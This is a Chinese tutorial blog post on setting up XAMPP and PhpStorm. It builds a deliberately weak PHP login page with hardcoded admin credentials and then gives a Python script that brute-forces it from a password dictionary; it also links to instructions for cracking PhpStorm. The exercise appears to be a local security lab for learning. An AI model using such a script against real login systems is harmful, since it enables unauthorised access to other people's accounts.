XAMPP及PHPstorm和PHPcharm环境搭建以及暴力破解

XAMPP的安装和使用

一、什么是XAMPP?

XAMPP是最流行的PHP开发环境。 XAMPP是完全免费且易于安装的Apache发行版,其中包含Apache、MariaDB、PHP和Perl。

类似XAMPP的服务器套件还有很多,我用过的还有UPUPW,它们都极大的简化了开发环境的配置。

十六款免费的服务器套件的介绍介绍了主流的免费服务器开发套件。

二、安装

xampp下载地址:http://www.xampp.cc/

安装没什么好说的,“下一步”直到安装完成。

三.使用

双击xampp安装目录下的xampp-control.exe,打开xampp控制面板。
点击Apache的“Start”按钮,启动Apache服务。 Apache服务的端口默认是80和443,如果电脑上装有虚拟机,443端口会被虚拟机占用,导致Apache服务启动失败。这种情况的修改方法如下:
① 打开任务管理器,找到找到vmware-hostd.exe进程,结束它。
② 打开VMware虚拟机,选择菜单“编辑”——>"首选项",如下图所示。

至于如何查看哪个程序占用了哪个端口,可以点xampp控制面板右侧的“Netstat”按钮,也可以在命令提示符窗口输入netstat -ano指令来查看这几个端口是否被占用。若占用,记住PID,然后在任务管理器里对于相应的PID,结束即可。如果任务管理器的列表中没有PID这一列,点击任务管理器的菜单“查看”——>“选择列”,勾选PID即可。
比较通用的修改方法如下: (这种方法直接改xampp的配置文件。)
如果80端口被占用
将xampp\apache\conf这个目录下的httpd.conf 文件中 所有80换成其他值。
将xampp\apache\conf\extra这个目录下的 httpd-vhosts.conf 所有80换成其他值。
如果是443端口被占用
将XAMPP\apache\conf\extra这个目录下的httpd-ssl.conf 所有443换成其他值。
点击MySQL的“Start”按钮,启动MySQL服务。 (如果电脑上之前安装过MySQL,xampp的MySQL服务启动失败) 正确的修改方法是: ①在命令提示符窗口输入regedit指令,打开注册表编辑器。
②找到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MySQL,将ImagePath的数据修改成xampp中mysq的位置,再次点击MySQL的 “Start”按钮,mysql服务正常启动。
如果MySQL的默认端口3306被占用,修改方法如下:
①修改占用该端口的外部程序,修改方法前面说过。 或者
②点击MySQL的 “Config”按钮,选择“my.ini”,打开该配置文件,并将其中的3306改成其他值。

测试
在浏览器输入http://localhost/dashboard/,出现如下页面,测试成功。

除此之外我们还要搭建PHPSTORM环境!!! https://www.cnblogs.com/Jason-Jan/p/7918502.html 根据这个老哥的博客来完成环境的搭建

安装XAMPP(http://www.cnblogs.com/Jason-Jan/p/7906773.html
安装并破解PhpStorm(http://www.cnblogs.com/Jason-Jan/p/7918449.html

  1. 暴力破解测试页面-low

源码的部分是一个表单post给一个php页面,形象一点也就是说在html页面填好账号密码,然后数据就会传给php来处理。

Html部分如下: (原参考博客该部分有误,已作出修改)
<!DOCTYPEhtml>

暴力破解测试页面-low

请输入信息

用户名:

密码:

php部分如下
<!DOCTYPEhtml>

<?php
/**

  • Created by PhpStorm.
  • User: mac
  • Date: 2018/7/5
  • Time: 下午3:20
    */

session_start();
$pwd=$_POST["password"];
$name=$_POST["name"];

if($name=="")
{die("用户名不能为空");}
if($pwd=="")
{die("密码不能为空");}
if($name=="admin"&&$pwd=="1234")
{echo"登陆成功!!!";setcookie("user","$name",time()+3600);}
else{echo"登陆失败";}
?>

遇到的问题及解决

点击登录按钮后php页面502错误
解决:这个时候我们把xampp中的php.exe链接进去就ok了
点击登录按钮后发现post不了psd和username,如图:

图错误:
解决:试了半天不知道为什么,于是我把post换成了get。发现可行,但是post对于web来说一般更安全,所以不推荐使用get,容易被漏洞利用。 运行结果如图:

只需要使用requests模块来进行请求访问,使用bs4来判断登陆是否成功,附上代码:

无验证码暴力破解的python脚本

#!/usr/bin/python
# -*- coding: UTF-8 -*-


import requests
from bs4 import BeautifulSoup


def crack(username='admin', password='1234566'):  # 定义一个暴力破解的函数
    print('正在尝试账号:%s,密码:%s' % (username, password))  # 回显输出
    url = 'http://localhost:63342/untitled2/Loginl.html'  # 定义需要暴破请求的地址
    datas = {'name': 'admin', 'password': password}  # 定义暴力破解的账号和密码
    header = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
        'Accept-Language': 'zh-CN,zh;q=0.9',
        'Connection': 'keep-alive',
        'Upgrade-Insecure-Requests': '1'
    }  # 定义访问数据包的请求头,因为如果有防护网站会限制ua
    req = requests.post(url, datas, headers=header, )  # 发送请求
    # print req.content
    html = BeautifulSoup(req.content, "lxml", from_encoding="utf-8")  # 定义响应内容为html
    res = (''.join(html.stripped_strings).encode("unicode_escape").decode("string_escape")).decode(
        'unicode-escape').encode('utf-8')  # 获取响应信息
    print
    res
    if '登陆成功' in res:  # 判断是否登陆成功
        exit("密码为%s" % password)


if __name__ == '__main__':
    for psw in open('C:/Users/apple/Documents/WeChat Files/fcg12580/Files/dictionary.txt', 'r').read().splitlines():  # 暴力破解的字典
        crack(password=psw)
    pass

我们在运行的时候发现

猜你喜欢

转载自www.cnblogs.com/fcgfcgfcg/p/9272927.html